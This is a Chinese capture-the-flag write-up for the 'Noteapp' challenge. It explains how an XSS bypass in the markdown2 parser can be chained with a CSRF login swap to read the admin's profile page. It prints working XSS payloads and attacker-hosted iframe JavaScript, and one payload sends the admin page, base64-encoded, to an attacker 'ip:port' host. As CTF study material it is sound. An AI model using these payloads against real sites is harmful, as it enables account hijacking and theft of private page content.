今天又是自闭的一天呢
Noteapp
考点:XSS、CSRF(wtcl....自闭了)
注册登陆之后是一个便签
/profile
并且可以提交页面给管理员看,xss实锤了
但是有内容的闭合标签都会被替换成[HTML_REMOVED]
单个尖括号也会被转义成html实体编码:<
xss技术太差了,结束之后看思路,没想到突破点是这个:用的markdown2解析器
poc:https://github.com/trentm/python-markdown2/issues/341
看一下markdown版本为2.3.8,正好符合
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
能弹窗:
但是此时的页面依然是:/profile
如果提交给管理员这个url,那么管理员访问的也只是自己的/profile
之前从来没碰到过CSRF,没想到在这碰上了
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者构造结合了恶意JavaScript和iframe的攻击,该iframe加载了合法页面
诱使你点击,然后以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作
那么我们要获取管理员的/profile(flag在上面)步骤如下:
1.先在自己的服务器上构造第一个恶意的iframe,用来获取保存管理员的/profile页面。再构造第二个iframe,将管理员注销。构造第三个iframe用来登陆我们自己的账号,url为/login?username=xxx&password=xxx
2.管理员登陆我们的账号后,会自动跳转的我们的/profile,此时改一下上面的xss语句,跳转到我们服务器,并携带第一个iframe的值,这样就成功返回了管理员页面
为了确保上述操作能一步步进行,需要延时来确保完成
服务器js如下:
<html>
<head>
<script>
function sleep(waitMsec){
var startMsec = new Date();
while (new Date() - startMsec < waitMsec);
}
window.addEventListener(‘load‘, function() {
//iframe1
var adminframe = document.createElement("iframe");
adminframe.name = "adminframe";
adminframe.src = "https://notes.web.byteband.it/profile";
var body = document.querySelector("body");//获取body标签的内容
body.appendChild(adminframe);//加入iframe1
sleep(3000);//延时
//iframe2
var logoutframe = document.createElement("iframe");
logoutframe.src = "https://notes.web.byteband.it/logout";//用来注销admin账号
body.appendChild(logoutframe);
sleep(3000);//延时
//iframe3
var loginframe = document.createElement("iframe");
loginframe.src = "https://notes.web.byteband.it/login?username=xxx&password=xxx";//登陆我们的账号
body.appendChild(loginframe);
}, false);
</script>
</head>
</html>
/profile js如下,用来获取iframe的body值并跳转到服务器
<http://g<!s://q?<!-<[<script>location.href=‘http://ip:port?q=‘+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
做完准备工作后只需要提交url:ip/evil.js即可,然后监听端口即可收到flag
参考文章:https://graneed.hatenablog.com/entry/2020/04/13/004211
https://d1r3wolf.blogspot.com/2020/04/chaning-no-impactna-bugs-to-get-high.html
关于csrf:https://xz.aliyun.com/t/1243#toc-11
https://www.freebuf.com/articles/web/55965.html
下次抽个时间写一下csrf吧